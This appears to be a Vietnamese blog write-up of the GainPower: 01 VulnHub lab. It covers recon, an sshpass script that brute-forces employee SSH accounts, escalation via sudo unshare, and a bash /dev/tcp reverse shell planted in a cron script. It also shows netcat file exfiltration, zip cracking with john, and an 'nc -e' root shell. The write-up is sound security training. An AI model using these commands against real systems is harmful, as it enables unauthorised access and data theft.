Advertisement

Responsive Advertisement

GAINPOWER: 1 - WriteUp


1. Mô tả

Welcome to "GainPower: 01"

This is a Boot2Root challenge.

Difficulty: Beginner to Intermediate

Goal: Get the user and root flag

DHCP: Enabled

Warning: Be careful with "rabbit hole" !.

This VM is created and tested with VirtualBox

Need hints? Twitter @VanshalG

Your feedback is really valuable to me! Twitter @VanshalG

Was there something that you didn’t like about this VM?

Please let me know so that I can make more interesting challenges in the future.

Good Luck..!!!

2. Tải xuống

 GainPower-01.ova (Size: 759 MB)

Download: https://drive.google.com/file/d/1BCxhbCoZdPRBcl4RinCirCHwICsVnME6/view?usp=sharing

Download (Mirror): https://download.vulnhub.com/gainpower/GainPower-01.ova

Download (Torrent): https://download.vulnhub.com/gainpower/GainPower-01.ova.torrent   (Magnet)

3. Khai thác

Bước 1: Thu thập thông tin 

Thực hiện dò quét địa chỉ ip và thông tin các cổng dịch vụ

arp-scan 192.168.44.0/24
nmap -sV -sC 192.168.44.242


Thấy ở đây dịch có 2  cổng chạy dich vụ web khác nhau. Mình truy cập vào từng cổng này xem sao

Một trang bán đồng hộ xịn xò mã nguồn gì thì mình không có biết 😑😑😑



 Một trang có tên là Ajenti, đây là một dịch vụ quản lý hệ điều hành linux như các tác vụ chạy, dịch vụ, ....

Mình tìm kiếm thông tin của nó thì nó dùng user và pass là của root


Giờ vấn đề tiếp theo là làm sao để mình khai thác nó, dường như dùng công cụ kiểm tra path URL và thông tin từ mã người không hiệu quả. Mình thử nghiệm thông tin đến dịch vụ SSH xem thu được thông tin gì hữu ích không.

Thử dùng lệnh truy vấn dịch vụ SSH thấy trả ra một thông báo sau:

ssh 192.168.44.242


Bước 2: Khai thác dịch vụ SSH

Bạn để ý kỹ ở đây nó cho chúng ta thông tin là bạn luôn có thể đăng nhập với mọi user có dạng như employeeX ( với X là số bất kỳ từ 1). Mình liên thử đăng nhập với một user bất kỳ, ví dụ ở đây là employee1


Thành công ! 

Mình thử xem ở đây có bao nhiều user dạng employeeX bằng cách đọc tệp tin /etc/passwd hoặc vào thư mục /home

cat /etc/passwd | grep "employee"


Thấy có đến tận 100 user lận, nhiều phết nhỉ. Nhưng mà kiểu đăng nhập liên tục đểm kiểm tra xem user nào có quyền đặc biệt leo thang thì không thể. Mình tiến hành sử dụng một đoạn script để nó tự đăng nhập và trả về thông tin cho mình, 

#!/bin/bash
#by: âtøm
pwn () {
read -p 'target ip: ' ip
sleep 2
for data in {1..100}
do
echo 'Try: ' $data
sshpass -p 'employee'$data ssh employee$data@$ip 'echo employee'$data' | sudo -S -l'
printf "\n"
done
}
pwn

Đoạn mã này sẽ giúp mình tự động login SSH với mật khẩu theo định dạng đã quy định, lưu ý muốn chạy nó bạn phải cài sshpass nhé. 😊

Ok! Giờ lưu lại và chạy script thôi. Sau một thời gian ngồi chờ mình phát hiện user số 64 cho ta một thông tin thú vị


Mình thấy ở đây là ông 64 này có thể dùng một lệnh unshare với user programer mà không cần mật khẩu. Vậy mình sẽ dựa vào đó để leo thang

Bước 3: Thực hiện leo thang

Tiến hành đăng nhập vào user employee64 và thực hiện leo thang

sudo -u programer /usr/bin/unshare

Sau khi leo thang được với user programer mình xem nó có thể làm gì.

Mình tải lên tệp tin pspy64 và chạy để xem tiến trình đặc biệt nào không


Thấy có một chương trình chạy tệp tin backup.sh, tệp tin này chạy tự động với UID là 1183 mình tiến hành kiểm tra một chút tệp tin này phát hiện tệp tin này user programer có quyền chỉnh sửa, chủ sở hữu tệp tin là user vanshal. 

Kiểm tra thì trên server này không có lệnh netcat mình tiến hành tải netcat từ máy mình lên máy victim để khai thác.

Sau đó mình tiến hành thêm nội dung sau vào tệp backup.sh

bash -i >& /dev/tcp/192.168.44.231/1234 0>&1

Đồng thời trên máy kali mình bật chế độ lắng nghe kết nối và thành công !!!


Kiểm tra thư mục user này phát hiện tệp local.txtsecret.zip


Mình đọc luôn tệp local.txt


Tiếp theo mình sẽ tải tệp secret.zip về máy kali để phân tích xem sao.

Trên máy kali chạy lệnh:

nc -lp 3333 > secret.zip

 Trên máy victim:

nc -w 3 <ip_kali> 3333 < secret.zip
Sau khi tải xong về mình thử giải nén và nó đòi mật khẩu


Tiến hành tìm mật khẩu của tệp tin này, mình dùng johnzipper để tìm
zip2john secret.zip > hash
john --wordlist=<list_pass> hash


Xong đó mình giải mã thu được tệp tin Mypasswords.txt mình đọc nó cho mình chuỗi dài

aTQ!vYxQUh3$&uaN3p%@_ax#Ab2XNZ!5$rFh$@bDMyxt#&Q2L&4+DvDT?A!MPKK9sFq-V8_d$5gQLKyKhf-4&S=_m^Cx?bZYf8Bv%%*H^GcvDc4ayfPk^HWs8bnD%Ayk3$5WP6_K?a6_%MF&e-DS2ZZ$m93BL3CY!huQDM2-JZcMSMKT8K*Z7zLPGATU7JP&x#JtaZHAbM^%$TK%C3ubXV4#e87M6P-puXTTMbzuP5y4qX6Uzd%ed8Ux_vMX=pCB

Mình đem chuỗi này thử đăng nhập trên Ajenti thành công login 👮👮👮


Vì phần mềm này quản lý tác vụ trên linux nó sẽ có trình terminal để thực hiện lệnh khai thác leo thang lên root


Thực hiện truyền lệnh revershell kết nối về máy kali

/tmp/nc -e /bin/bash <ip_kali> 1235

Đồng thời bật lắng nghe kết nối trên kali, bạn đã có thể thành công thu được giao diện quản trị với user root. Tiến hành đọc cờ cuối  và tung hoa nào 👽👽👽👽👽


Post a Comment

0 Comments